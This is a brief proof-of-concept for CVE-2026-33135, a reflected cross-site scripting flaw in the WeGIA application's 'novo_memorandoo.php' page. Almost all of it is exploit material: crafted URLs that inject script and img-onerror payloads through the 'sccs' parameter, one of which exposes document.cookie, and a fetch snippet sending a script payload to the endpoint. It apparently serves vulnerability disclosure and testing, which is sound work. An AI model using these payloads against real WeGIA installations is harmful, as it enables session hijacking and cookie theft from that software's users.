CVE-2026-33135 WeGIA反射型XSS漏洞

// PoC for CVE-2026-33135 // The vulnerable endpoint 'novo_memorandoo.php' reflects the 'sccs' parameter without sanitization. // Attackers can inject arbitrary JavaScript into the 'sccs' parameter. // Example URL to trigger the vulnerability: // http://target.com/html/memorando/novo_memorandoo.php?msg=success&sccs=<script>alert('CVE-2026-33135')</script> // Alternative payload using img tag to demonstrate execution: // http://target.com/html/memorando/novo_memorandoo.php?msg=success&sccs=<img src=x onerror=alert(document.cookie)> fetch('http://target.com/html/memorando/novo_memorandoo.php?msg=success&sccs=<script>alert(1)</script>') .then(response => response.text()) .then(data => console.log(data));